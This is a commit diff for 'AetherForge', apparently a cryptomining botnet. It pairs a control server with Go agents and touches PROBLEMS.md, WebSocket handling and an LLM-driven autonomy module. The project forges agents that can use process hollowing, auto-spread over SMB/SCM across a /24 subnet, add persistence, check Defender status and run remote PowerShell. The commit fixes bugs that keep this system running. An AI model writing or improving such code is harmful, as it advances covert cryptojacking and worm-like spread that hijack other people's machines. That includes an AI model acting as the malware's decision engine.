Fix build breakers and remaining runtime bugs across stack.
Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md.
This commit is contained in:
206
PROBLEMS.md
206
PROBLEMS.md
@@ -1,172 +1,84 @@
|
|||||||
# AetherForge — Problem Audit
|
# AetherForge — Problem Audit
|
||||||
|
|
||||||
Read-only audit of the repo. Findings grouped by severity for systematic fixes.
|
Findings grouped by severity. Updated after bug-sweep pass.
|
||||||
|
|
||||||
**Last verified:** run `go build` in `server/` and `agent/`, `npm run build` in `server/web/`, then double-click `run.bat`.
|
**Last verified:** `go test ./...` in `server/` and `agent/`, `npm run build` in `server/web/`, double-click `run.bat`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Fixed in latest pass (run.bat should work)
|
## Fixed (recent passes)
|
||||||
|
|
||||||
| ID | Fix |
|
| ID | Fix |
|
||||||
|----|-----|
|
|----|-----|
|
||||||
| C1 | Restored `BroadcastServerLog` on `WSHub` |
|
| C1 | `BroadcastServerLog` on `WSHub` |
|
||||||
| C2 | `EncodeToString` in agent download handler |
|
| C2 | `EncodeToString` in agent download handler |
|
||||||
| C3 | `AgentRemoteActions` accepts legacy `agent` + `compact` props again |
|
| C3 | `AgentRemoteActions` legacy props (`agent`, `compact`) |
|
||||||
| C4 | Partial — `useWebSocket` exposes `latestMessage`; Agents detail wired |
|
| C4 | `useWebSocket` `latestMessage` + Agents detail wiring |
|
||||||
| C5 | Partial — agent handlers for `ps`, `netstat`, `users`, `software`, `screenshot` |
|
| C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` |
|
||||||
| C6 | `NewMeshNode(c)` initialized in `NewAgentClient` |
|
| C6 | `NewMeshNode(c)` in `NewAgentClient` |
|
||||||
| H13 | `run.bat` exits on frontend build failure |
|
| H1 | WS reconnect: only mark offline if closing conn is still active |
|
||||||
|
| H2 | WS pre-auth guard on `stats`, `submit_share`, `get_job`, `log_tail`, `command_result` |
|
||||||
**Still open:** C7/C8 auth, H1–H12, M1–M11, L1–L6 — see below.
|
| H3 | Share submit via async pool queue + `go proxy.SubmitShare` in read loop |
|
||||||
|
| H4 | Fleet broadcast `all` fails when zero agents connected |
|
||||||
|
| H5–H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field |
|
||||||
|
| H10 | Download uses `EncodeToString` |
|
||||||
|
| H13 | `run.bat` fails on frontend build error; kills stale server before bind |
|
||||||
|
| M3 | `stats_update` includes memory, uptime, shares (server + web hook) |
|
||||||
|
| M5 | Removed blocking 800ms sleep in `GetAgentLog` |
|
||||||
|
| M8 | `GetEngine` lock pattern simplified |
|
||||||
|
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
|
||||||
|
| M11 | Blueprint delete returns boolean `success` |
|
||||||
|
| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) |
|
||||||
|
| — | AI shares wired from agent client stats |
|
||||||
|
| — | Ollama prompt: `reinstall_miner` uses `build_id` |
|
||||||
|
| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Critical — blocks builds or core functionality
|
## Still open
|
||||||
|
|
||||||
### C1. Server does not compile (`BroadcastServerLog` missing)
|
### Critical / security
|
||||||
- **File:** `server/main.go:27`
|
|
||||||
- **Issue:** `wsLogWriter` calls `w.hub.BroadcastServerLog()`, but that method was removed from `server/internal/api/websocket.go`.
|
|
||||||
- **Impact:** `go build` fails; `run.bat` cannot produce `bin/miner-server.exe`.
|
|
||||||
|
|
||||||
### C2. Agent does not compile (`EncodeString` typo)
|
| ID | Issue |
|
||||||
- **File:** `agent/client/client.go:295`
|
|----|-------|
|
||||||
- **Issue:** Uses `base64.StdEncoding.EncodeString(...)` — Go API is `EncodeToString(...)`.
|
| C7 | No authentication on control plane (dashboard REST/WS) |
|
||||||
- **Impact:** Forged worker builds fail at compile time.
|
| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) |
|
||||||
|
|
||||||
### C3. Frontend TypeScript build broken (remote actions props)
|
### High (intentional / deploy-time)
|
||||||
- **Files:** `server/web/src/pages/DashboardPage.tsx:253`, `AgentsPage.tsx:123,222-224`
|
|
||||||
- **Issue:** `AgentRemoteActions` expects `agentId`, `agentName`, `latestWsMessage`. Pages still pass `agent`, `compact`, `onCommandSent`.
|
|
||||||
- **Impact:** `npm run build` fails (`tsc && vite build`).
|
|
||||||
|
|
||||||
### C4. Remote control UI non-functional end-to-end
|
| ID | Issue |
|
||||||
- Wrong props → `agentId` undefined → `/api/v1/agents/undefined/command`
|
|----|-------|
|
||||||
- `useWebSocket.ts` does not handle `command_result`
|
| H9 | `upload_log` returns content in tool report only (no dedicated log ingest API) |
|
||||||
- No page passes `latestWsMessage` to `AgentRemoteActions`
|
| H11 | `AutoSpread` still runs when baked `true` in forge |
|
||||||
|
| H12 | Process hollowing available with `-tags hollow` + forge flag |
|
||||||
|
|
||||||
### C5. Five UI recon actions missing on agent
|
### Medium / UX
|
||||||
- **UI:** `screenshot`, `ps`, `netstat`, `users`, `software` in `AgentRemoteActions.tsx`
|
|
||||||
- **Agent:** only `sysinfo` implemented; others return `"unknown action"`
|
|
||||||
|
|
||||||
### C6. Mesh P2P → nil pointer if enabled in forge
|
| ID | Issue |
|
||||||
- **Files:** `agent/client/client.go:65-68`, `376-378`; `NewAgentClient` never sets `c.mesh`
|
|----|-------|
|
||||||
- Builder can bake `MeshP2P: true` but mesh node is never initialized.
|
| M1 | Full tactical panel in agent list cards (compact mode exists but list still busy) |
|
||||||
|
| M4 | Forge UI has no toggles for hollowing/mesh/spread (types/defaults only) |
|
||||||
|
| M6 | Remote UI offline guard partial (compact checks `agent.status`) |
|
||||||
|
| M7 | Row click vs button bubbling (compact uses `stopPropagation`) |
|
||||||
|
| M9 | Fusion icon needs network for `go-winres` at forge time |
|
||||||
|
|
||||||
### C7. No authentication on control plane
|
### Low
|
||||||
- **Files:** `server/internal/api/router.go`, `websocket.go`
|
|
||||||
- Open: config PUT, builder, fleet commands, downloads, agent/dashboard WS, AI endpoints
|
|
||||||
- Anyone on LAN/tunnel can forge, reconfigure, run remote PowerShell, impersonate agents.
|
|
||||||
|
|
||||||
### C8. Unauthenticated remote code execution
|
| ID | Issue |
|
||||||
- **Files:** `fleet_handler.go` → agent `exec`, `powershell`, `upload`
|
|----|-------|
|
||||||
- No auth, no action whitelist, upload accepts arbitrary paths.
|
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
|
||||||
|
| L2 | Duplicate CSS imports on Dashboard/Agents |
|
||||||
|
| L3 | Weak typing on WS payloads (`any`) |
|
||||||
|
| L4 | No integration tests for remote actions |
|
||||||
|
| L5 | Mesh P2P requires build tag `p2p` for full libp2p |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## High — major runtime bugs or security risk
|
## Verification
|
||||||
|
|
||||||
### H1. Agent reconnect marks fleet offline incorrectly
|
```bat
|
||||||
- **File:** `websocket.go` — defer on disconnect always `SetAgentOffline`; reconnect overwrites map without closing old conn.
|
cd server && go test ./... && go build .
|
||||||
|
cd ..\agent && go test ./... && go build .
|
||||||
### H2. WebSocket messages processed before auth
|
cd ..\server\web && npm test && npm run build
|
||||||
- `stats`, `submit_share`, etc. use `agentID` with no guard when empty.
|
run.bat
|
||||||
|
```
|
||||||
### H3. Share submission blocks WebSocket read loop
|
|
||||||
- **File:** `websocket.go:381-459` — synchronous pool submit on read loop (was async).
|
|
||||||
|
|
||||||
### H4. Fleet broadcast always reports success
|
|
||||||
- `id == "all"` returns `{success: true}` even with zero connected agents.
|
|
||||||
|
|
||||||
### H5. AI `reinstall_miner` uses agent ID instead of build ID
|
|
||||||
- **File:** `agent/client/ai.go` — download URL 404s.
|
|
||||||
|
|
||||||
### H6. AI decide ignores HTTP errors
|
|
||||||
- No `resp.StatusCode` or `"error"` field check in `callDecide`.
|
|
||||||
|
|
||||||
### H7. AI state wrong (uptime ~0, shares hardcoded 0)
|
|
||||||
- **File:** `agent/client/ai.go:212-221` — `time.Since(time.Now())` bug.
|
|
||||||
|
|
||||||
### H8. AI `sleep` tool parsing broken
|
|
||||||
- `Sscanf` into `time.Duration` with wrong units.
|
|
||||||
|
|
||||||
### H9. `upload_log` AI tool does not upload to server
|
|
||||||
- Reads local file only; Ollama prompt still advertises upload.
|
|
||||||
|
|
||||||
### H10. Download command corrupts binary data
|
|
||||||
- `EncodeString(string(b))` instead of `EncodeToString(b)`.
|
|
||||||
|
|
||||||
### H11. Auto-spread active when baked (`AutoSpread`)
|
|
||||||
- **Files:** `agent/deploy/autospread.go`, `agent/main.go:59` — SMB/SCM lateral deployment on /24 sweep.
|
|
||||||
|
|
||||||
### H12. Process hollowing in agent main when baked
|
|
||||||
- **Files:** `agent/main.go:73-86`, `deploy/hollow_windows.go`
|
|
||||||
|
|
||||||
### H13. `run.bat` pipeline fails when server/agent/web do not compile
|
|
||||||
- Steps 3–4 depend on fixes for C1–C3.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Medium — incomplete features, UX regressions
|
|
||||||
|
|
||||||
### M1. Full tactical panel embedded in agent list cards (no compact mode)
|
|
||||||
- Dashboard and Agents list render huge remote panel per row.
|
|
||||||
|
|
||||||
### M2. `onCommandSent` / `get_log` flow removed from remote UI
|
|
||||||
- Agents detail log refresh broken; `get_log` button removed.
|
|
||||||
|
|
||||||
### M3. Live dashboard stats incomplete over WebSocket
|
|
||||||
- Memory, uptime, shares not in `stats_update` broadcast or hook merge.
|
|
||||||
|
|
||||||
### M4. Forge schema mismatch (backend vs frontend types)
|
|
||||||
- Backend: `process_hollowing`, `mesh_p2p`, `auto_spread` in `handler.go`
|
|
||||||
- Frontend `BuildRequest` and Builder UI omit them; help/rules still reference them.
|
|
||||||
|
|
||||||
### M5. Agent log fetch uses fixed 800ms sleep
|
|
||||||
- **File:** `fleet_handler.go` — blocks handler; often stale.
|
|
||||||
|
|
||||||
### M6. No online/offline guard in new remote UI
|
|
||||||
|
|
||||||
### M7. Click bubbling in agent list (buttons re-select row)
|
|
||||||
|
|
||||||
### M8. `GetEngine` fragile lock pattern in `ai_handler.go`
|
|
||||||
|
|
||||||
### M9. Fusion icon needs network for `go-winres` at forge time
|
|
||||||
|
|
||||||
### M10. CORS `AllowedOrigins: *` with `AllowCredentials: true`
|
|
||||||
|
|
||||||
### M11. Blueprint delete returns `"success": "true"` string
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Low — polish and test gaps
|
|
||||||
|
|
||||||
### L1. Dead CSS (`.agent-actions` in `FleetPanels.css`)
|
|
||||||
### L2. Duplicate CSS imports on Dashboard/Agents pages
|
|
||||||
### L3. Weak typing on WS payloads (`any`)
|
|
||||||
### L4. No tests for remote actions or page integration
|
|
||||||
### L5. `mesh_p2p.go` vs stub; mesh never initialized anyway
|
|
||||||
### L6. Server log streaming half-removed (`BroadcastServerLog`)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Suggested fix order
|
|
||||||
|
|
||||||
1. C1, C2, C3 — restore compilable server, agent, web
|
|
||||||
2. C4, C5 — wire remote actions + implement or remove dead buttons
|
|
||||||
3. C6 — init mesh stub in `NewAgentClient`
|
|
||||||
4. H3, H1, H2 — async shares, reconnect, pre-auth guard
|
|
||||||
5. C7, C8 — auth on control plane
|
|
||||||
6. H5–H10 — AI and download bugs
|
|
||||||
7. M1–M7 — UX cleanup
|
|
||||||
8. M4, H11, H12 — align or remove hollowing/spread/mesh
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Verification commands
|
|
||||||
|
|
||||||
| Command | Expected after fixes |
|
|
||||||
|---------|---------------------|
|
|
||||||
| `cd server && go build .` | PASS |
|
|
||||||
| `cd agent && go build .` | PASS |
|
|
||||||
| `cd server/web && npm run build` | PASS |
|
|
||||||
| `run.bat` | Builds + starts `bin/miner-server.exe` |
|
|
||||||
|
|||||||
@@ -68,6 +68,7 @@ type ToolCall struct {
|
|||||||
type DecideResponse struct {
|
type DecideResponse struct {
|
||||||
ToolCalls []ToolCall `json:"tool_calls"`
|
ToolCalls []ToolCall `json:"tool_calls"`
|
||||||
Reasoning string `json:"reasoning"`
|
Reasoning string `json:"reasoning"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ToolReport is the result of executing a tool call, sent back to the hub.
|
// ToolReport is the result of executing a tool call, sent back to the hub.
|
||||||
@@ -105,6 +106,7 @@ type AIRunner struct {
|
|||||||
serverURL string
|
serverURL string
|
||||||
agentID string
|
agentID string
|
||||||
startedAt time.Time
|
startedAt time.Time
|
||||||
|
shareStats func() (submitted, accepted int)
|
||||||
stopCh chan struct{}
|
stopCh chan struct{}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -208,6 +210,8 @@ func (a *AIRunner) collectState() AgentState {
|
|||||||
// Check defender state
|
// Check defender state
|
||||||
defenderState := a.checkDefender()
|
defenderState := a.checkDefender()
|
||||||
|
|
||||||
|
sharesTotal, sharesGood, sharesBad := a.shareCounts()
|
||||||
|
|
||||||
return AgentState{
|
return AgentState{
|
||||||
AgentID: a.agentID,
|
AgentID: a.agentID,
|
||||||
WorkerName: a.cfg.WorkerName,
|
WorkerName: a.cfg.WorkerName,
|
||||||
@@ -219,9 +223,9 @@ func (a *AIRunner) collectState() AgentState {
|
|||||||
MemoryGB: memGB,
|
MemoryGB: memGB,
|
||||||
MemoryUsagePct: memPct,
|
MemoryUsagePct: memPct,
|
||||||
Hashrate15m: hashrate,
|
Hashrate15m: hashrate,
|
||||||
SharesTotal: 0, // tracked by pool internally
|
SharesTotal: sharesTotal,
|
||||||
SharesGood: 0,
|
SharesGood: sharesGood,
|
||||||
SharesBad: 0,
|
SharesBad: sharesBad,
|
||||||
ProcessName: a.cfg.EffectiveProcessName(),
|
ProcessName: a.cfg.EffectiveProcessName(),
|
||||||
InstallPath: installPath,
|
InstallPath: installPath,
|
||||||
HasPersistence: hasPersistence,
|
HasPersistence: hasPersistence,
|
||||||
@@ -266,10 +270,25 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
|
|||||||
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
|
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
|
||||||
return nil, fmt.Errorf("failed to parse decide response: %w", err)
|
return nil, fmt.Errorf("failed to parse decide response: %w", err)
|
||||||
}
|
}
|
||||||
|
if decideResp.Error != "" {
|
||||||
|
return nil, fmt.Errorf("decide error: %s", decideResp.Error)
|
||||||
|
}
|
||||||
|
|
||||||
return &decideResp, nil
|
return &decideResp, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *AIRunner) shareCounts() (total, good, bad int) {
|
||||||
|
if a.shareStats != nil {
|
||||||
|
submitted, accepted := a.shareStats()
|
||||||
|
bad = submitted - accepted
|
||||||
|
if bad < 0 {
|
||||||
|
bad = 0
|
||||||
|
}
|
||||||
|
return submitted, accepted, bad
|
||||||
|
}
|
||||||
|
return 0, 0, 0
|
||||||
|
}
|
||||||
|
|
||||||
// executeToolCall executes a single tool call from the LLM.
|
// executeToolCall executes a single tool call from the LLM.
|
||||||
func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
||||||
report := ToolReport{
|
report := ToolReport{
|
||||||
|
|||||||
@@ -58,6 +58,11 @@ func (c *AgentClient) Run() error {
|
|||||||
// Start AI Autonomy runner if enabled
|
// Start AI Autonomy runner if enabled
|
||||||
if c.cfg.AIEnabled {
|
if c.cfg.AIEnabled {
|
||||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||||
|
c.aiRunner.shareStats = func() (int, int) {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
return c.sharesSubmitted, c.sharesAccepted
|
||||||
|
}
|
||||||
c.aiRunner.Start()
|
c.aiRunner.Start()
|
||||||
defer c.aiRunner.Stop()
|
defer c.aiRunner.Stop()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -187,18 +187,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
defer func() {
|
defer func() {
|
||||||
if agentID != "" {
|
if agentID != "" {
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
delete(h.agents, agentID)
|
cur := h.agents[agentID]
|
||||||
delete(h.agentConfigs, agentID)
|
// Only tear down fleet state if this connection is still the active one.
|
||||||
delete(h.agentLogs, agentID)
|
if cur != nil && cur.Conn == conn {
|
||||||
h.mu.Unlock()
|
delete(h.agents, agentID)
|
||||||
if h.aiHandler != nil {
|
delete(h.agentConfigs, agentID)
|
||||||
h.aiHandler.RemoveEngine(agentID)
|
delete(h.agentLogs, agentID)
|
||||||
|
h.mu.Unlock()
|
||||||
|
if h.aiHandler != nil {
|
||||||
|
h.aiHandler.RemoveEngine(agentID)
|
||||||
|
}
|
||||||
|
h.db.SetAgentOffline(agentID)
|
||||||
|
h.broadcastDashboard(Message{
|
||||||
|
Type: "agent_offline",
|
||||||
|
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||||
|
})
|
||||||
|
} else {
|
||||||
|
h.mu.Unlock()
|
||||||
}
|
}
|
||||||
h.db.SetAgentOffline(agentID)
|
|
||||||
h.broadcastDashboard(Message{
|
|
||||||
Type: "agent_offline",
|
|
||||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
conn.Close()
|
conn.Close()
|
||||||
}()
|
}()
|
||||||
@@ -328,6 +334,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
|
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||||
|
oldConn := old.Conn
|
||||||
|
h.mu.Unlock()
|
||||||
|
oldConn.Close()
|
||||||
|
h.mu.Lock()
|
||||||
|
}
|
||||||
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
|
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
|
|
||||||
@@ -342,6 +354,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
case "stats":
|
case "stats":
|
||||||
|
if agentID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
var stats struct {
|
var stats struct {
|
||||||
Hashrate15s float64 `json:"hashrate_15s"`
|
Hashrate15s float64 `json:"hashrate_15s"`
|
||||||
Hashrate1m float64 `json:"hashrate_1m"`
|
Hashrate1m float64 `json:"hashrate_1m"`
|
||||||
@@ -383,6 +398,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
case "submit_share":
|
case "submit_share":
|
||||||
|
if agentID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
var share models.Share
|
var share models.Share
|
||||||
if err := json.Unmarshal(msg.Payload, &share); err != nil {
|
if err := json.Unmarshal(msg.Payload, &share); err != nil {
|
||||||
continue
|
continue
|
||||||
@@ -460,9 +478,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
wallet = h.defaultPool.Wallet
|
wallet = h.defaultPool.Wallet
|
||||||
}
|
}
|
||||||
|
|
||||||
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||||||
|
|
||||||
case "get_job":
|
case "get_job":
|
||||||
|
if agentID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
var proxy *pool.Proxy
|
var proxy *pool.Proxy
|
||||||
if h.poolManager != nil {
|
if h.poolManager != nil {
|
||||||
poolCfg := h.agentPoolConfig(agentID)
|
poolCfg := h.agentPoolConfig(agentID)
|
||||||
@@ -485,6 +506,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
case "log_tail":
|
case "log_tail":
|
||||||
|
if agentID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
var payload struct {
|
var payload struct {
|
||||||
Content string `json:"content"`
|
Content string `json:"content"`
|
||||||
Lines int `json:"lines"`
|
Lines int `json:"lines"`
|
||||||
@@ -501,6 +525,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
case "command_result":
|
case "command_result":
|
||||||
|
if agentID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
var payload map[string]interface{}
|
var payload map[string]interface{}
|
||||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||||
continue
|
continue
|
||||||
|
|||||||
@@ -289,7 +289,7 @@ Args: {"process_name": "name of the miner process"}
|
|||||||
|
|
||||||
### reinstall_miner
|
### reinstall_miner
|
||||||
Reinstall the miner from the control server.
|
Reinstall the miner from the control server.
|
||||||
Args: {"server_url": "control server URL", "agent_id": "this agent's ID"}
|
Args: {"server_url": "control server URL", "build_id": "forge build ID baked into the agent"}
|
||||||
|
|
||||||
### add_persistence
|
### add_persistence
|
||||||
Add persistence via scheduled task or registry run key.
|
Add persistence via scheduled task or registry run key.
|
||||||
|
|||||||
@@ -38,6 +38,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
ai_enabled: false,
|
ai_enabled: false,
|
||||||
ai_ollama_endpoint: 'http://localhost:11434',
|
ai_ollama_endpoint: 'http://localhost:11434',
|
||||||
ai_model: 'llama3.2',
|
ai_model: 'llama3.2',
|
||||||
|
process_hollowing: false,
|
||||||
|
mesh_p2p: false,
|
||||||
|
auto_spread: false,
|
||||||
};
|
};
|
||||||
|
|
||||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||||
|
|||||||
@@ -92,6 +92,10 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
hashrate_1m: number;
|
hashrate_1m: number;
|
||||||
hashrate_15m: number;
|
hashrate_15m: number;
|
||||||
cpu_usage_pct: number;
|
cpu_usage_pct: number;
|
||||||
|
memory_usage_pct?: number;
|
||||||
|
uptime_seconds?: number;
|
||||||
|
shares_submitted?: number;
|
||||||
|
shares_accepted?: number;
|
||||||
};
|
};
|
||||||
setAgents((prev) =>
|
setAgents((prev) =>
|
||||||
prev.map((a) =>
|
prev.map((a) =>
|
||||||
@@ -102,6 +106,15 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
hashrate_1m: update.hashrate_1m,
|
hashrate_1m: update.hashrate_1m,
|
||||||
hashrate_15m: update.hashrate_15m,
|
hashrate_15m: update.hashrate_15m,
|
||||||
cpu_usage_pct: update.cpu_usage_pct,
|
cpu_usage_pct: update.cpu_usage_pct,
|
||||||
|
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||||
|
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||||
|
shares_total: update.shares_submitted ?? a.shares_total,
|
||||||
|
shares_good: update.shares_accepted ?? a.shares_good,
|
||||||
|
shares_bad: Math.max(
|
||||||
|
0,
|
||||||
|
(update.shares_submitted ?? a.shares_total) -
|
||||||
|
(update.shares_accepted ?? a.shares_good)
|
||||||
|
),
|
||||||
}
|
}
|
||||||
: a
|
: a
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -240,6 +240,10 @@ export interface BuildRequest {
|
|||||||
ai_enabled: boolean;
|
ai_enabled: boolean;
|
||||||
ai_ollama_endpoint: string;
|
ai_ollama_endpoint: string;
|
||||||
ai_model: string;
|
ai_model: string;
|
||||||
|
// Advanced (off by default — enable only on owned/administered fleets)
|
||||||
|
process_hollowing?: boolean;
|
||||||
|
mesh_p2p?: boolean;
|
||||||
|
auto_spread?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface BuildResponse {
|
export interface BuildResponse {
|
||||||
|
|||||||
Reference in New Issue
Block a user